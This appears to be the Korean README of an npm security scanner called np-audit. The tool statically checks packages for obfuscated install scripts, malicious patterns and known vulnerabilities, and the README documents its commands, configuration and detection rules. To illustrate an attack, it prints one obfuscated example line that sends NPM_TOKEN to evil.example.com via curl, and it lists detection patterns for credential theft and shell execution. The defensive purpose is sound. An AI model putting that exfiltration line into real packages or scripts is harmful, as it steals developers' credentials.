
npm 패키지에 대한 정적 보안 분석. 설치 전에 난독화된 코드, 악성 패턴, 알려진 취약점을 탐지합니다.

npm 패키지를 위한 정적 보안 분석 — 난독화된 라이프사이클 스크립트, 알려진 취약점 및 악성 패턴을 실행 전에 감지합니다. npm install 및 npm ci의 드롭인 대체재입니다.
제로 의존성. 순수 Node.js 내장 모듈만 사용합니다. 전송 시 < 100 kB입니다.
npx np-audit scan express
npm install -g np-audit
npa scan # 모든 종속성 스캔
npa install # 감사 후 설치
alias npm='npa' # 드롭인 대체재로 사용
탐지는 모듈화된 마셜러로 분할되어 있습니다 — 각각 하나의 공격 신호를 감지합니다:
점수는 심각도에 따라 조정됩니다 — 난독화 지표 수가 많을수록 점수가 높아집니다. 최종 판정은 모든 마셜러 중 가장 높은 개별 점수에 기반합니다.
커스텀 마셜러 작성 방법은 CONTRIBUTING.md를 참조하세요.
스캔된 모든 패키지는 코드 분석과 함께 알려진 취약점 데이터베이스에 대해 확인됩니다.
기본값: OSV.dev (설정 불필요)
별도 설정 없이 바로 작동 — 무료 OSV.dev API에 알려진 취약점 및 악성 패키지 권고 사항을 질의합니다.
선택 사항: Snyk API (더 풍부한 데이터)
# 환경 변수
export SNYK_API_TOKEN=your-token-here
# 또는 Snyk CLI를 통해
snyk auth
토큰 확인 순서: SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json
| 심각도 | 점수 | 판정 |
|---|
악성이 아닌 CVE는 경고를 생성하지만 설치를 차단하지 않습니다. 확인된 악성 패키지만 DANGER를 유발합니다.
인식되지 않은 명령어는 npm으로 전달됩니다 (예: npa run test, npa publish).
--review 모드npa install --review
npa --review 모드
↑/↓ 키로 이동, SPACE로 전환, ENTER로 확인, q로 종료
설치 스크립트가 있는 패키지 3개 발견:
[✓ 허용] [email protected] postinstall: post-install.js OK
▶ [✗ 거부] [email protected] postinstall: install.js DANGER (점수: 9)
[✓ 허용] @scope/[email protected] postinstall: install.js WARN (점수: 5)
2개 허용됨 1개 거부됨
설정은 ~/.npmauditor.json (전역)에 저장되며 프로젝트별로 .npmauditor.json을 통해 재정의할 수 있습니다.
npa config get # 현재 설정 보기
npa config set blockScore 6 # 점수 6 이상에서 차단
npa config set skipPackages '["esbuild"]' # 특정 패키지 신뢰
npa config set skipScopes '["@types"]' # 전체 범위 신뢰
disabledMarshallers에 이름을 추가하여 특정 탐지 검사를 비활성화할 수 있습니다:
npa config set disabledMarshallers '["process-env", "network-call"]'
사용 가능한 모든 마셜러 이름과 현재 상태를 보려면:
npa config marshallers
이는 특정 마셜러가 워크플로에 오탐을 발생시킬 때 유용합니다. 비활성화된 마셜러는 정적 코드 분석 및 패키지 수준 검사 모두에서 완전히 건너뜁니다.
투명한 npm 대체재로 npa를 사용하세요:
npa alias --install # 추가: alias npm='npa'
source ~/.zshrc # 셸 다시 로드
이제 npm install, npm ci가 자동으로 스캔됩니다. 다른 모든 npm 명령어 (npm run, npm test, npm publish)는 변경 없이 통과됩니다.
npa alias --uninstall # 별칭 제거
package-lock.json (v1/v2/v3) 또는 package.json에서 확인node_modules에서 읽기)&&/||/;/| 분할, node -e, sh -c, 셸 스크립트 처리require()/import 그래프 탐색 (사이클 감지, 50개 파일 / 5 MB 제한)공급망 공격은 npm 라이프사이클 스크립트를 악용합니다. npm install을 실행하면 preinstall/install/postinstall 스크립트가 자동으로 실행됩니다. 공격자는 페이로드를 난독화 뒤에 숨깁니다:
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');
실제 사례:
npa는 절대 스크립트를 실행하지 않습니다. 다운로드하여 정적으로 분석합니다.
| 코드 | 의미 |
|---|---|
0 | 모두 깨끗하거나 경고만 있음 |
1 | 하나 이상의 패키지가 차단됨 |
MIT
| Marshaller | 감지 대상 | 점수 |
|---|
eval/dynamic-exec | eval(), new Function(), 간접 eval, vm.*, 문자열이 포함된 setTimeout | 8 |
obfuscator.io | _0x 변수 명명 패턴 (obfuscator.io 출력) | 9–80 |
high-entropy-string | 높은 섀넌 엔트로피를 가진 긴 문자열 또는 연결 체인 | 6 |
hex-escape-density | 조밀한 \xNN 및 \uXXXX 이스케이프 시퀀스 | 5–50 |
fromCharCode | 많은 인수를 가진 String.fromCharCode, 큰 10진수 문자 코드 배열 | 7 |
encoded-decode | Base64/16진수 디코드 (atob, Buffer.from) 선택적으로 eval과 결합 | 3–8 |
child-process | require('child_process'), exec, spawn, fork, worker_threads | 5 |
hex-array | 많은 수의 0x 16진수 리터럴 값 | 7–60 |
process-env | process.env 접근 (자격 증명 유출 신호) | 3 |
network-call | require('https'), fetch(), dns, net, tls | 4 |
filesystem-manipulation | fs.writeFile, chmod, symlink (백도어 지속성) | 3–4 |
runtime-download | 외부 런타임 (Bun, Deno) 다운로드 및 실행 | 9–50 |
vscode-autorun | runOn: folderOpen이 설정된 VS Code 작업 (자동 실행) | 30 |
known-vulnerability | Snyk API 또는 OSV.dev를 통한 알려진 CVE | 4–6 (WARN), 80 (악성) |
| 악성 패키지 | 80 | DANGER |
| 10개 이상의 취약점 | 6 | WARN |
| 5–9개 취약점 | 5 | WARN |
| 1–4개 취약점 | 4 | WARN |
| 명령어 | 별칭 | 설명 |
|---|
npa install [package] | npa i | 감사 후 npm install 실행 |
npa ci | — | 감사 후 npm ci 실행 |
npa scan [package] | npa s | 스캔만 수행, 설치하지 않음 |
npa config get | npa c get | 현재 설정 보기 |
npa config set <key> <value> | npa c set | 설정 값 업데이트 |
npa alias --install | — | 셸 별칭 설치 |
npa alias --uninstall | — | 셸 별칭 제거 |
| 플래그 | 별칭 | 함께 사용 가능 | 설명 |
|---|
--review | -r | install, ci | 대화형 모드 — 허용할 스크립트 선택 |
--json | — | install, ci, scan | 기계 판독 가능 JSON 출력 |
--no-dev | — | install, ci, scan | devDependencies 건너뛰기 |
--verbose | — | all | 가져오기 진행률 및 추가 세부 정보 표시 |
--version | -v | — | 버전 출력 후 종료 |
--help | -h | — | 도움말 출력 후 종료 |
| 키 | 기본값 | 설명 |
|---|
blockScore | 7 | DANGER (종료 코드 1)에 대한 점수 임계값 |
warnScore | 4 | WARN (종료 코드 0)에 대한 점수 임계값 |
registry | https://registry.npmjs.org | npm 레지스트리 URL |
timeout | 30000 | HTTP 요청 시간 초과 (ms) |
parallelFetches | 5 | 동시 다운로드 수 |
skipScopes | [] | 건너뛸 @scope 접두사 |
skipPackages | [] | 건너뛸 패키지 이름 |
silent | false | 문제가 없을 때 출력 억제 |
scanSelf | true | 자체 프로젝트 라이프사이클 스크립트 스캔 |
maxTarballSize | 50MB | 최대 압축 해제 tarball 크기 (폭탄 방지) |
checkVulnerabilities | true | CVE 데이터베이스에서 패키지 확인 |
deepResolve | false | 전체 전이 종속성 트리 확인 |
disabledMarshallers | [] | 스캔 중 건너뛸 마셜러 이름 |